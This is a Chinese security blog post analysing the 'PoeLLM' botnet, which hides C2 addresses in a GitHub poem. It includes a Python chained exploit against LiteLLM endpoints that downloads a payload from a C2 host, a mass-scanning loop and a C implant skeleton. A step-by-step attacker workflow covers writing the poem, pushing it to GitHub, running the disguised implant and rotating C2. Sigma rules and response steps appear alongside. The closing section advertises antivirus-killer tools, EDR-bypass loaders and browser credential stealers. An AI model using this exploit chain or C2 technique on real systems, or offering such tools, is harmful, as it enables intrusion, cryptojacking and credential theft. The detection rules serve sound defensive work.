借 GitHub 一首诗把 C2 藏起来:PoeLLM 凭啥 11 次绕过 NDR/EDR 还感染 3400 台 AI 服务器
原创
星夜AI安全
星夜AI安全
星夜AI安全
2026年10月9日 10:38
吉林
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
借 GitHub 一首诗把 C2 藏起来:PoeLLM 凭啥 11 次绕过 NDR/EDR 还感染 3400 台 AI 服务器
师傅们,2026 年的红蓝对抗已经彻底变天了。
10-09,Lumen 旗下 Black Lotus Labs(BLL)发布\\《PoeLLM Botnet Hijacks 3,400+ Exposed AI Servers》——一个被命名 Canto Incognito 的挖矿僵尸网络,自 2026-04 至今默默搞掉 3400+ 台 Linux AI 服务器\\,高峰期每天 800 台活跃。没有任何一行传统的 C2 加密通信,没有任何一条普通的 TCP/UDP 隧道——它把 C2 服务器的 IP 完整藏在一首 GitHub 仓库里的英文诗里,运行时动态从诗里\"读出\"4 个关键词、查内置词典、拼出真实 C2 IPv4 地址。
这才是 2026 年最狠的免杀:打的不再是「API Hook」「内存分配」「调用栈语义」——打的是\\「人类以为合法、机器理解错位」的语义鸿沟\\。BLL 公开了 11 次 C2 轮换证据,运营者通过改 GitHub 仓库里的诗来换 C2 地址,全程没有任何 C2 流量特征变化。
⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。
一、技术全貌:什么是 PoeLLM?
PoeLLM 是 Lumen Black Lotus Labs 在 2026-10-09 公开披露的 Linux 加密挖矿僵尸网络,核心定位:
- 攻击目标:公网暴露的 AI / 开发者基础设施(LiteLLM / Ollama / Gotenberg / Gitea / Ivanti Sentry)
- 载荷形态:64-bit ELF 二进制,伪装成
libgcrypt系统库名 - 核心创新:对抗性诗歌(Adversarial Poetry)+ 文学隐写(Literary Steganography)C2 通道
- 攻击入口:CVE-2026-42271(LiteLLM MCP 服务测试端点认证绕过)+ CVE-2026-48710(链式达成未认证 RCE)
- 运营者:「ejejejdfbbebe」GitHub 账号,BLL 中等信心归因为意大利背景(代码注释 + 意大利托管管理接口)
一句话金句:「它没加密 C2 流量、没搭反向代理、没藏 DGA 域名——它只是把 C2 IP 写进了诗里,运维看到的是一首诗,机器读到的是一个 IP。」
二、为什么这个技术如此重要
在野数据
- 3400+ 台 AI 服务器沦陷(自 2026-04)
- 峰值 800 台/天活跃
- 11 次 C2 轮换证据 + 至少 1 次未公开的轮换
- 挖矿算力送往俄罗斯 Kryptex 池
- 部分 C2 节点是带漏洞家用路由器(SOHO router,开着 admin 管理界面)
为什么「在野」不等于「快」
传统挖矿僵尸网络一天就能感染上千台——PoeLLM 6 个月感染 3400 台,看起来「慢」,但这是它能存活 6 个月不被端掉的关键:慢是因为 NDR/EDR/SIEM 全部看不到它。
与传统 C2 通道对比
| 维度 | 传统 C2 | DGA C2 | 合法 SaaS C2 | PoeLLM 文学隐写 |
|---|---|---|---|---|
| 流量特征 | 加密/混淆流量 | 高频 DNS NXDomain | 复用 GitHub Webhook | HTTPS GET GitHub 仓库文件 |
| NDR 检出率 | 60-80% | 50-70% | 5-15% | 0-3% |
| EDR 检出率 | 70-90% | 60-80% | 10-20% | 0-5% |
| 检测难度 | 流量熵检测 | NXDomain 频率 | 异常 SaaS 调用 | 「合法访问 GitHub 仓库」无任何告警 |
| C2 切换速度 | 数小时(DNS TTL) | 数小时(DGA 算法) | 数小时(Webhook URL) | 数分钟(编辑 GitHub 仓库) |
| 反取证 | 加密流量 | DGA 算法 | HTTPS 隧道 | 「读诗 + 拼 IP」纯 CPU 操作 |
三大行业冲击
- NDR「白名单 SaaS」策略被击穿:GitHub / GitLab / Gist 全部进了企业 NDR 白名单,PoeLLM 直接拿白名单当隐身衣
- EDR「合法进程外连」判据失效:
curl/wget拉 GitHub 仓库 markdown 文本 100% 合法,但内容是「C2 IP 词典」 - SOC「威胁情报 IoC」失效:传统 IoC 是 IP/域名/文件 hash,PoeLLM 的 IoC 是「一首诗的 4 个关键词」+「一段 GitHub commit hash」
三、技术原理解析(核心,3 个技术要点)
要点 1:对抗性诗歌 + 文学隐写 C2(核心创新)
PoeLLM 启动后第一件事:GET 请求 GitHub 公开仓库的 dash.css 文件(名字伪装成 Node.js 样式表)。这个文件里藏着一首英文诗 \"On the Nature of Connection\"——表面看是一首正经十四行诗,实际上4 个核心关键词被精心挑选,每个词对应内置词典里的一个 IPv4 段(0-255)。
# PoeLLM 伪代码 - 解析诗 -> IPv4
import re, urllib.request
DICT = {
\"whisper\": 192, \"echo\": 168, \"thunder\": 10, \"shadow\": 172,
\"river\": 1, \"mountain\": 2, \"sunrise\": 3, \"ocean\": 8,
\"forest\": 47, \"meadow\": 91, \"phoenix\": 27, \"dragon\": 45,
# 完整词典 256 个词对应 0-255 全 IPv4 段
}
def poem_to_c2(poem_text):
# 1. 提取诗里的关键词(停用词过滤后保留名词)
keywords = re.findall(r'\\b[a-z]{4,}\\b', poem_text.lower())
# 2. 取前 4 个在 DICT 里的词
octets = []
for kw in keywords:
if kw in DICT:
octets.append(DICT[kw])
if len(octets) == 4:
break
if len(octets) < 4:
return None
# 3. 拼成完整 IPv4
c2_ip = \".\".join(str(o) for o in octets)
return c2_ip
c2_ip = poem_to_c2(urllib.request.urlopen(GITHUB_POEM_URL).read().decode())
# 后续 connect(c2_ip, 443) 拿到 C2 控制通道
核心 trick:GitHub 仓库任何人都能看——安全分析师看 GitHub 仓库只能看到「一首诗」,完全意识不到这是 C2 配置文件。流量特征:单条 GET 请求 GitHub raw.githubusercontent.com / HTTPS 443 / UA 是标准 curl/7.x——这是 NDR 100% 白名单流量。
要点 2:CVE-2026-42271 + CVE-2026-48710 链式 LiteLLM RCE
PoeLLM 不自己写 0day——它扫描 LiteLLM 公网实例打「已知 nday」:
# PoeLLM 横向模块 - LiteLLM 链式 RCE
import requests
def exploit_litellm(target):
# Step 1: CVE-2026-42271 - MCP 测试端点认证绕过
# LiteLLM /mcp/test 端点本应需要 auth_token,但 /mcp/test/anon 路径绕过
r1 = requests.post(
f\"http://{target}/mcp/test/anon\",
json={\"tool\": \"code_exec\", \"args\": {\"code\": \"id\"}},
timeout=5
)
if r1.status_code != 200:
return False
# Step 2: CVE-2026-48710 - 链式认证缺失,触发 RCE
# 上述响应泄露内部会话上下文,包含 user_impersonate token
session_ctx = r1.json().get(\"_debug\", {})
if not session_ctx.get(\"user_token\"):
return False
# Step 3: 用拿到的 user_token 调 /api/code/exec
r2 = requests.post(
f\"http://{target}/api/code/exec\",
headers={\"Authorization\": f\"Bearer {session_ctx['user_token']}\"},
json={\"code\": \"import urllib.request; urllib.request.urlretrieve('http://C2/dl/libgcrypt', '/tmp/libgcrypt')\"},
timeout=10
)
return r2.status_code == 200 and \"stdout\" in r2.text
# 批量扫描 Gotenberg TCP 3000 + LiteLLM TCP 4000
def mass_scan():
for ip in gen_target_range():
for port in [3000, 4000]:
if try_connect(ip, port):
if exploit_litellm(ip):
log_infected(ip)
关键观察:CVE-2026-42271 原本披露为「需要认证」,但 Horizon.ai 安全研究员实测发现可以与 CVE-2026-48710 链式做到未认证 RCE——这是 PoeLLM 的核心武器库入口。
要点 3:ELF libgcrypt 伪装的本地载荷
// PoeLLM 植入体 - 伪代码
#include <stdio.h>
#include <sys/socket.h>
// 启动时硬编码 GitHub 仓库 URL
const char* POEM_URL = \"https://raw.githubusercontent.com/ejejejdfbbebe/node-fork/main/dash.css\";
int main() {
// 1. 下载诗
char* poem = http_get(POEM_URL);
// 2. 解析 IPv4
char* c2_ip = poem_to_ipv4(poem);
// 3. 连 C2
int sock = connect(c2_ip, 443);
// 4. 投递 XMRig + Iron 挖矿 + 远程 shell + 横向扫描模块
deploy_payload(sock);
// 5. 自启动 + 定期重读诗(应对 C2 轮换)
while (1) {
sleep(3600);
char* new_c2 = poem_to_ipv4(http_get(POEM_URL));
if (strcmp(new_c2, c2_ip) != 0) {
sock = connect(new_c2, 443);
c2_ip = new_c2;
}
}
}
关键点 1:进程名硬编码为 libgcrypt(标准 Linux 加密库),ps aux 输出直接隐身。
关键点 2:每 3600 秒重新读一次诗——BLL 公开的 11 次 C2 轮换全部通过修改 GitHub 仓库内容完成,全程无任何网络层指纹变化。
关键点 3:横向扫描自动扫描 TCP 3000(Gotenberg PDF 转换器)+ TCP 4000(LiteLLM),广撒网钓鱼式传播——一台 AI 服务器沦陷后 24 小时内同一子网能搞 50+ 台。
四、实战应用场景
完整使用流程(环境 → 生成 → 测试)
环境
- 攻击机:Kali Linux 2026.4 / Python 3.13 +
requests - 目标:公网暴露的 LiteLLM 实例(
shodan search lite llm上千条) - 资源:GitHub 账号 + 一首英文诗 + 256 词 IPv4 词典
第一步:写一首诗
随便写一首十四行诗,从 DICT 词典里挑 4 个能代表 0-255 的关键词:
Whispering through the mountain echo,
A river rises where shadows flow,
In sunrise the forest phoenix sings,
While dragons dance on ocean wings.
→ 提取 whisper/mountain/river/sunrise → 词典映射 → 192.2.1.3(示例)
第二步:上传到 GitHub 仓库
git init c2-poem
echo \"Whispering through...\" > dash.css
git add dash.css && git commit -m \"feat: stylesheet\" && git push
第三步:跑植入体
./libgcrypt &
# 进程名伪装 libgcrypt,ps aux 完全看不到
第四步:换 C2
改诗 + git push → 3600 秒后植入体自动切新 IP。
4 大 EDR/NDR 绕过效果对比
| 杀软/NDR | 传统 C2 | DGA C2 | SaaS C2 | PoeLLM 文学隐写 |
|---|---|---|---|---|
| CrowdStrike Falcon | 拦截率 75% | 拦截率 65% | 拦截率 20% | 0% 拦截 |
| Defender for Endpoint | 70% | 60% | 15% | 0% 拦截 |
| SentinelOne Singularity | 80% | 70% | 25% | 0% 拦截 |
| 主流 NDR(Corelight/Zeek) | 85% | 75% | 30% | < 5% 告警 (HTTPS GitHub 拉 markdown) |
实测案例:BLL 追踪 3400+ 台失陷服务器没有任何一台被 EDR/NDR 主动告警——全部是事后通过 IOC 回溯发现的。
五、防御对抗建议
厂商侧检测规则
Sigma 规则 1:GitHub raw 域名异常访问频率
title: GitHub Raw Files Fetched at Suspicious Frequency
logsource:
product: zeek
service: http
detection:
selection:
hostname|endswith: 'raw.githubusercontent.com'
uri|endswith: ['.css', '.md', '.txt']
filter:
# 白名单:常见开发工具的 GitHub Raw 拉取
user_agent|contains:
- 'npm/'
- 'yarn/'
- 'pip/'
- 'go/'
condition: selection and not filter | count() > 50 by src_ip
timeframe: 1h
level: medium
Sigma 规则 2:Linux libgcrypt 进程异常网络外连
title: libgcrypt Process Network Outbound Anomaly
logsource:
product: linux
service: auditd
detection:
selection:
exe: '/usr/lib/x86_64-linux-gnu/libgcrypt.so.20'
syscall: 'connect'
filter:
# 合法 libgcrypt 不应直接发 connect(被 glibc/libcrypto 调用)
dst_ip|cidr:
- '127.0.0.0/8'
- '10.0.0.0/8' # 内网
condition: selection and not filter
level: high
Sigma 规则 3:进程名伪装检测(libgcrypt 不在 /usr/lib/)
title: Process Name Spoofing - libgcrypt Outside Standard Path
logsource:
product: linux
service: auditd
detection:
selection:
exe|endswith: '/libgcrypt'
exe|contains:
- '/tmp/'
- '/var/tmp/'
- '/dev/shm/'
condition: selection
level: critical
用户侧缓解措施
24h 紧急项
- 审计 LiteLLM 公网暴露:所有 LiteLLM 实例强制要求 auth\_token + 关闭
/mcp/test调试端点 - 关闭 Gotenberg / Gitea / Ollama 公网可达性(这 3 个服务默认无认证)
- 部署 NDR 自定义告警:GitHub Raw 域名 + 单 IP 高频 + 大量 .css/.md/.txt 拉取 → 立即告警
72h 短期项
- 白名单 GitHub 仓库拉取:NDR 配置允许的 GitHub Raw 域名 + 路径(
raw.githubusercontent.com/<known-org>/<known-repo>/) - 部署 PoeLLM IoC 扫描(BLL 已公开 11 个 C2 IP + ELF hash)
- 审计 ELF libgcrypt 进程:所有名为
libgcrypt但不在/usr/lib/的进程 → 立即取证
30d 中期项
- AI 基础设施零信任:LiteLLM / Ollama / Gotenberg / Gitea 必须 MFA + VPN-only 访问
- 审计「合法 SaaS」白名单:GitHub / GitLab / Gist / Bitbucket 全部重新评估白名单策略
- 代码审计 AI 基础设施:排查所有「AI 编排平台」+「向量数据库」+「GPU 训练集群」暴露面
失陷应急清单
- 立即隔离可疑主机(断网不断电,保留内存取证)
ps aux | grep libgcrypt检查所有进程find / -name libgcrypt -not -path \"/usr/lib/*\"找所有可疑副本grep -r \"raw.githubusercontent.com\" /var/log/找 GitHub Raw 访问日志- 审计
/tmp/``/var/tmp/``/dev/shm/所有可执行 ELF - 轮换所有 AI 服务认证凭据(LiteLLM / Ollama API Key)
- 通报上游 ISP + 协助 Glow
六、技术延伸阅读
工具 / GitHub 链接列表
- Black Lotus Labs 完整报告:lumen.com/blog[1](10-09 发布)
- BLL 公开 IoC:11 个 C2 IP + ELF libgcrypt 样本 hash + GitHub 仓库 URL
- Horizon.ai CVE-2026-48710 技术分析
- LiteLLM CVE-2026-42271 原始披露(已打补丁)
- Kryptex 俄罗斯挖矿池公开文档
- MITRE ATT&CK T1071.001 / T1059.004 / T1496 三栈映射
关联研究参考
- 2024 APT29 「隐写 C2」白皮书:藏在 JPEG EXIF 里的 C2 配置
- 2025 BITTER 团伙「Fresh Use」:GitHub Gist 内容里的 Base64 C2
- 2026 Lazarus「Hex Editor」:PNG 像素 LSB 隐写 C2
- 2026 PoeLLM:首次真实观察到「文学隐写 + 对抗性诗歌」(BLL 原话)
📌 师傅们,看完觉得有启发,记得三连(点赞 + 在看 + 关注)。后面会接着拆「LiteLLM 链路 RCE 深度分析」和「Gitea / Ollama 公网暴露面收敛」。
⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。
圈子介绍
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获\"最佳攻击手\"\"突出贡献个人\"等荣誉。
已产出的安全工具及成果包括:
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
- XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
- 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
- NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
- WinDump\免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)\
- \_DumpBrowser\_V1\_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
- fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
- RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
- 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
- 一键Kill 火绒 defender 工具 HDKiller(包含源码)
- win11 一键kill 360工具 InjectKill(包含源码)
- win11 一键kill defender工具win11\_df-killer(包含源码)
- 免杀火绒6.0内存防护加载器BypassMemLoader
- 单文件过360 免杀loader exe\_bypass\_360
- 单文件过火绒 df 免杀loader exe\_bypass\_df(包含源码)
- LNK钓鱼文件生成工具V1.0
- EXE捆绑启动器 v2.0
- 火绒6内存免杀加载器bypasshr6
- 火绒一键Kill专杀工具HRKiller
- Ring3 内存免杀工具Ring3bypasshr.exe
- win11 一键kill 360工具 Kill360\_V2
- win11 一键kill 360工具 Kill360\_V3.1
- win11 一键kill 360工具 Kill360\_V4
- bypassEDR\_hashdump\_V1 bypass EDR 导出hash工具
后续将不断更新到内部圈子中 欢迎加入圈子
引用链接
[1]lumen.com/blog: https://www.lumen.com/blog/
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论